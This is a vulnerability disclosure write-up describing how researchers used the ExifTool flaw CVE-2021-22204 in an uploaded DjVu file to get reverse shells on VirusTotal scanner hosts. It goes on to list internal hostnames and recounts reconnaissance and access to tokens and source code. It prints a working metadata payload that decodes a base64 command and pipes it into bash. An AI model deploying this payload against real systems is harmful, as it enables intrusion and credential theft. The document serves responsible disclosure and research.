Remote code execution via the VirusTotal platform

CySource Research Team • April 2022

Research by the CySource research team, led by Shai Alfasi and Marlon Fabiano da Silva. Reported through the Google Vulnerability Reward Program and published on cysrc.com in April 2022, after Google approved publication.

During in-depth security research, we found a way to execute commands remotely within the VirusTotal platform and gain access to its various scanning capabilities.

VirusTotal runs more than 70 antivirus scanners against the files and URLs its users submit. The idea behind the research was to use CVE-2021-22204, a vulnerability in ExifTool, so that the scanners would execute a payload as soon as ExifTool processed the file.

The technical part

The first step was uploading a DjVu file to VirusTotal with the payload in the file’s metadata:

(metadata "\c${system('bash -c \"{echo,BASE64-ENCODED-COMMAND-TO-BE-EXECUTED }|{base64,-d }|{bash,-i }\" ; clear') };")

VirusTotal analyzed the file, and none of the antivirus engines detected the payload added to its metadata.

According to VirusTotal’s documentation, the platform uses several scanning services, so it sent our file with the payload to several hosts for analysis.

VirusTotal “How it works” documentation next to a terminal with a root shell — VirusTotal’s documentation: submitted files are passed to many scanning engines.

On the VirusTotal hosts, when ExifTool ran, CVE-2021-22204 made it execute our payload instead of reading the file’s metadata — handing us a reverse shell on our machine.

Netcat listener receiving a shell from a VirusTotal scanner host — Reverse shell received from a VirusTotal scanner host.

Several shells received from different scanner hosts — Further shells received as the file reached other scanners.

Inside the scanning network

We then noticed that this was not only a Google-controlled environment, but also environments of internal scanners and partners that support the VirusTotal project. In the tests it was possible to gain access to more than 50 internal hosts with high privileges.

Hosts identified within the internal network included:

172-24-241-97.kamala-prober.zion-rel.svc.cluster.local
kubernetes.default.svc.cluster.local - 172.19.0.1
scanner--rel--kaspersky-244.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-249.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-279.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--kaspersky-339.headless-rel-kaspersky.zion-rel.svc.cluster.local
scanner--rel--typer-7b4c979bc9-bskr8
scanner--zzbm--typer-7b4c979bc9-cf5f7
sandk8s23.dlc.zzbm.360es.cn
sandk8s24.dlc.zzbm.qianxin-inc.cn
sandk8s25.dlc.zzbm.qianxin-inc.cn
sandk8s26.dlc.zzbm.360es.cn
sandk8s27.dlc.zzbm.360es.cn
...

Interestingly, every time we uploaded a file with a new hash containing a new payload, VirusTotal forwarded the payload to other hosts.

ifconfig output on a scanner host showing its internal address — Network interfaces of a scanner host.

netstat output listing established connections inside the internal network — Established connections inside the internal network.

Network interface output from two further scanner hosts — The payload reached further scanner hosts.

Various types of services were found within the networks, such as MySQL, Kubernetes, Oracle Database, HTTP and HTTPS applications, metrics applications and SSH.

Nmap scan reports for internal sandbox hosts with open ports — Nmap results for internal sandbox hosts.

resolv.conf on a scanner host pointing to the Kubernetes cluster DNS — The scanner’s DNS configuration points to the Kubernetes cluster.

Nmap scan reports for further internal hosts — Further internal hosts discovered by scanning.

Nmap scan of the Kubernetes API service showing port 443 open — The Kubernetes API service reachable from the scanner.

curl requests from a scanner host to internal HTTP and HTTPS services — Internal web services reachable from the scanner host.

Access to sensitive information

Through this unauthorized access it was possible to obtain sensitive and critical information, such as Kubernetes tokens and certificates, service configuration, source code and logs.

Root shell on a scanner host listing the scanner directory — Root access on a scanner host.

Output of an internal metrics endpoint — An internal metrics endpoint.

Root shell on another scanner host listing the scanner directory — Root access on another scanner host.

Scanner source code displayed in the terminal — Scanner source code.

Host installation configuration file displayed in the terminal — Host configuration files.

Disclosure process

We reported all the findings to Google, which fixed the issue.

30 April 2021Report received by Google VRP
19 May 2021Report triaged by Google VRP
21 May 2021Google VRP accepted the report as valid
4 June 2021Google VRP closed the report
13 January 2022VirusTotal no longer vulnerable
15 January 2022Google VRP approved publication

Back to insights